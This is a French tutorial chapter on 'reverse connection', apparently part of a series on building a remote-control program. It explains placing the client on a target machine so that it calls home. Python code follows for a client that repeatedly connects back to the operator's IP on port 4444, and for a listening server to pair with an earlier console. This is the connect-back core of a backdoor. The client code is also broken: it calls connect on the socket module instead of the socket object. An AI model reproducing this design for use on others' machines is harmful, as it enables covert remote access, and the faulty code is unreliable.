Reverse connection

Ici nous allons créer la reverse connection (ang).

Shéma de la connexion :

Généralement une connexion classique se résume à un client se connectant à un serveur, lui demande des informations, et le serveur répond.

Tout ça c'est bien beau, mais il faut l'IP du serveur pour pouvoir communiquer avec lui.

C'est le problème, comment trouver l'IP d'un ordinateur à distance. Vous avez deux solutions :

  • Créer un script python qui va recupérer l'ip et l'uploader sur un ftp ou vous l'envoyer par email.
  • Ou alors utiliser la reverse connection

La deuxième solution est évidemment la plus conseillée et la plus propre.

Je pense que vous avez compris un peu comment fonctionne une connexion classique, et que ce n'est qu'une seule façon de se connecter à une machine à distance, et que la reverse connection était la deuxième.

Reverse connection :

Voilà si vous travaillez avec une connexion classique, vous gardez le client chez vous et vous envoyez le serveur vers la machine ciblée, mais quand vous travaillez avec une reverse connection, vous envoyez le client et vous gardez le serveur chez vous.

Bien comme dans tout type de connexion, c'est le client qui demande une connexion au serveur, nous n'allons pas oublier cette règle, d'ailleurs vous ne pouvez pas l'enfraindre même si vous le vouliez.

Si vous avez suivi mes conseils plus tôt vous devriez avoir lu le chapitre sur les sockets dans le pdf que je vous ai donné.

Si oui tant mieu, sinon ... euh (réfléchit profondément) ... tant pis.

Réalisation d'un client :

Voilà le code du client (je donne juste la fonction, à vous de l'intégrer au projet) : 

 code : python

#utiliser les sockets
import socket ;
import os ;

IP = "127.0.0.1" ; #ici je test en local
#mais normalement vous devez utiliser votre IP statique
PORT = 4444 ; #choisissez un port

def client () :
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ; code = 0 ;
  while code == 0 :
    try :
      socket.connect((IP,PORT)) ;
      code = 1 ;
    except socket.error :
      os.system ("sleep 10") ; #on endors le client pour 10 sec
  return sock ;

Réalisation d'un serveur :

Le serveur va tout simplement accepter la connexion du client (encore une fois, juste la fonction, intégrez la dans la console codée dans le chapitre précédent) :

Code : python

#utiliser les sockets
import socket ;

IP = "127.0.0.1" ; #l'ip du serveur
PORT = 4444 ;

def server () :
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ;
  try :
    sock.bind ((IP, PORT)) ;
  except socket.error :
    print ("Failed while binding socket.\n") ;
    return 0 ; #on interrompe tout de suite le programme
  sock.listen (1) ; #un seul client peut se connecter au serveur
  conn, addr = sock.accept () ;
  print ("Connected to IP : %s, on PORT : %s ...\n" % (addr[0], addr[1])) ;
  return conn ;

Allez, je vous dit au chapitre suivant ...